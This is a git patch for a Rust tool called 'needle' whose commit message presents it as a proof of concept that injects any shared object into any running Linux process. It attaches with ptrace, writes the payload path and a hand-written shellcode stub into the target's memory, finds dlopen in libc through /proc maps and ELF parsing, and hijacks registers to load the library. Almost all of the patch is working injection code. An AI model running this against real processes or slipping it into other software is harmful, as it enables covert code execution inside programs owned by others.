From d3f08ba22a7dc777cf400d69366f7a6828c04a7d Mon Sep 17 00:00:00 2001 From: alemi Date: Tue, 28 Mar 2023 19:11:36 +0200 Subject: [PATCH] feat: working injection can inject any shared object into any running process, restoring registers and continuing execution afterwards. requires no initial address knowledge, but must be able to PTRACE_ATTACH and read /proc/maps of target process and the libc object used by target process. Otherwise, offsets and paths can be specified manually from cmdline. this is by no means optimized or reliable, just a Proof Of Concept! works tho --- Cargo.toml | 2 + src/needle/explorers.rs | 68 +++++++++++++++++++++++ src/needle/injector.rs | 25 +-------- src/needle/main.rs | 117 +++++++++++++++++++++++++++++++++------- 4 files changed, 169 insertions(+), 43 deletions(-) create mode 100644 src/needle/explorers.rs diff --git a/Cargo.toml b/Cargo.toml index 5263dc6..63c1c1d 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -17,4 +17,6 @@ path = "src/needle/main.rs" [dependencies] clap = { version = "4.1.13", features = ["derive"] } ctor = "0.1.26" +elf = "0.7.2" nix = "0.26.2" +proc-maps = "0.3.0" diff --git a/src/needle/explorers.rs b/src/needle/explorers.rs new file mode 100644 index 0000000..dffcea0 --- /dev/null +++ b/src/needle/explorers.rs @@ -0,0 +1,68 @@ +use std::{ffi::c_void, path::{Path, PathBuf}, io::{ErrorKind, Error}}; + +use elf::{ElfBytes, endian::AnyEndian, abi::{PT_LOAD, ET_EXEC}}; +use nix::{unistd::Pid, sys::{ptrace, wait::waitpid}}; +use proc_maps::get_process_maps; + +pub fn step_to_syscall(pid: Pid) -> nix::Result { + let mut registers; + let mut addr; + let mut instructions; + + // seek to syscall + loop { + registers = ptrace::getregs(pid)?; + addr = registers.rip as usize; + instructions = ptrace::read(pid, addr as *mut c_void)?; + // println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr); + + if instructions & 0xFFFF == 0x050F { + return Ok(addr); + } + + ptrace::step(pid, None)?; + waitpid(pid, None)?; + } +} + +fn _path_to_str<'a>(p: Option<&'a Path>) -> &'a str { + match p { + Some(path) => { + match path.to_str() { + Some(s) => s, + None => "?", + } + }, + None => "", + } +} + +pub fn find_libc(pid: Pid) -> std::io::Result<(usize, PathBuf)> { + let proc_maps = get_process_maps(pid.as_raw())?; + + for map in proc_maps { + // println!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, _path_to_str(map.filename())); + if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") { + return Ok(( + map.start() - map.offset, + map.filename().expect("matched empty option?").to_path_buf() + )); + } + } + + Err(Error::new(ErrorKind::NotFound, "no libc in target proc maps")) +} + +pub fn find_dlopen(path: &Path) -> std::io::Result { + let libc = std::fs::read(path).expect("could not read libc"); + let headers = ElfBytes::::minimal_parse(&libc).expect("failed parsing libc as ELF"); + let common = headers.find_common_data().expect("shdrs should parse"); + let dynsyms = common.dynsyms.unwrap(); + let strtab = common.dynsyms_strs.unwrap(); + let hash_table = common.sysv_hash.unwrap(); + let (_id, dlopen) = hash_table.find(b"dlopen", &dynsyms, &strtab) + .expect("could not parse symbols hash table") + .expect("could not find dlopen symbol"); + + return Ok(dlopen.st_value as usize); +} diff --git a/src/needle/injector.rs b/src/needle/injector.rs index a1b24d8..b9ea462 100644 --- a/src/needle/injector.rs +++ b/src/needle/injector.rs @@ -1,28 +1,5 @@ -use std::ffi::c_void; - -use nix::{Result, unistd::Pid, sys::{ptrace, wait::waitpid}}; +use nix::{Result, unistd::Pid}; pub trait RemoteOperation { fn inject(&mut self, pid: Pid, syscall: usize) -> Result; } - -pub fn step_to_syscall(pid: Pid) -> Result { - let mut registers; - let mut addr; - let mut instructions; - - // seek to syscall - loop { - registers = ptrace::getregs(pid)?; - addr = registers.rip as usize; - instructions = ptrace::read(pid, addr as *mut c_void)?; - // println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr); - - if instructions & 0xFFFF == 0x050F { - return Ok(addr); - } - - ptrace::step(pid, None)?; - waitpid(pid, None)?; - } -} diff --git a/src/needle/main.rs b/src/needle/main.rs index ee1c918..58f2701 100644 --- a/src/needle/main.rs +++ b/src/needle/main.rs @@ -4,48 +4,127 @@ mod senders; mod injector; mod explorers; -use injector::{RemoteOperation, step_to_syscall}; +use std::path::PathBuf; + +use injector::RemoteOperation; use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}}; use clap::Parser; use executors::RemoteShellcode; use senders::RemoteString; -use syscalls::RemoteWrite; +use explorers::step_to_syscall; + +use crate::explorers::{find_libc, find_dlopen}; #[derive(Parser, Debug)] #[command(author, version, about, long_about = None)] struct NeedleArgs { /// target process pid pid: i32, + + /// shared object to inject into target process + #[arg(short, long, default_value = "./target/debug/libtetanus.so")] + payload: String, + + /// exact address of dlopen function, calculated with `base + offset` if not given + #[arg(long)] + addr: Option, + + /// base address of libc in memory (minus offset), calculated with /proc//maps if not given + #[arg(long)] + base: Option, + + /// offset address of dlopen inside libc, calculated reading libc ELF if not given + #[arg(long)] + offset: Option, + + /// path of libc shared object on disk, used to calculate symbol offset in ELF + #[arg(long)] + path: Option, } -const SHELLCODE : [u8; 2] = [0x90, 0x90]; - -pub fn nasty_stuff(pid: Pid) -> Result<()> { - let syscall_addr = step_to_syscall(pid)?; - let mut msg = RemoteString::new("injected!\n\0".into()); - msg.inject(pid, syscall_addr)?; - RemoteWrite::args(1, msg).inject(pid, syscall_addr)?; - RemoteShellcode::new(&SHELLCODE).inject(pid, syscall_addr)?; - Ok(()) -} - -fn main() -> Result<()> { - let args = NeedleArgs::parse(); +fn nasty_stuff(args: NeedleArgs) -> Result<()> { let pid = Pid::from_raw(args.pid); ptrace::attach(pid)?; waitpid(pid, None)?; - println!("Attached to process #{}", args.pid); - let regs = ptrace::getregs(pid)?; - nasty_stuff(pid)?; + // continue running process step-by-step until we find a syscall + let syscall = step_to_syscall(pid)?; // TODO no real need to step... + let original_regs = ptrace::getregs(pid)?; // store original regs to restore after injecting + + // move path to our payload into target address space + let tetanus = RemoteString::new(args.payload + "\0") + .inject(pid, syscall)?; + + // find dlopen address + // TODO make this part less spaghetti + let dlopen_addr; + if let Some(addr) = args.addr { + dlopen_addr = addr; + } else { + let (mut calc_base, mut calc_fpath) = (0, "".into()); // rust complains about uninitialized... + if args.path.is_none() || args.base.is_none() { // if user gives both no need to calculate it + (calc_base, calc_fpath) = find_libc(pid).expect("could not read proc maps of process"); + } + + let base = match args.base { + Some(b) => b, + None => calc_base, + }; + + let fpath = match args.path { + Some(p) => p, + None => calc_fpath, + }; + + let offset = match args.offset { + Some(o) => o, + None => find_dlopen(&fpath).expect("could not read libc shared object") + }; + + dlopen_addr = base + offset; + } + + println!("Attempting to invoke dlopen() @ 0x{:X}", dlopen_addr); + + let shellcode = [ // doesn't really spawn a shell soooooo not really shellcode? + 0x55, // pusb rbp + 0x48, 0x89, 0xE5, // mov rbp, rsp + 0xFF, 0x15, 0x08, 0x00, 0x00, 0x00, // call [rip+0x8] # fake call to store RIP + 0xCC, // trap <--- ret should land here + 0x90, // nop + 0x90, // nop <--- call should land here + 0xCC, // trap + ]; + + RemoteShellcode::new(&shellcode) + .inject(pid, syscall)?; + + // intercept our mock CALL and redirect it to dlopen real address (also fill args) + let mut regs = ptrace::getregs(pid)?; + regs.rip = dlopen_addr as u64; + regs.rdi = tetanus; + regs.rsi = 0x1; ptrace::setregs(pid, regs)?; + ptrace::cont(pid, None)?; + waitpid(pid, None)?; + println!("Injected dlopen() call"); + // restore original registers and detach + // TODO clean allocated areas + ptrace::setregs(pid, original_regs)?; ptrace::detach(pid, None)?; - println!("Released process #{}", args.pid); Ok(()) } + +fn main() { + let args = NeedleArgs::parse(); + + if let Err(e) = nasty_stuff(args) { + eprintln!("Error while injecting : {} ({})", e, e.desc()); + } +}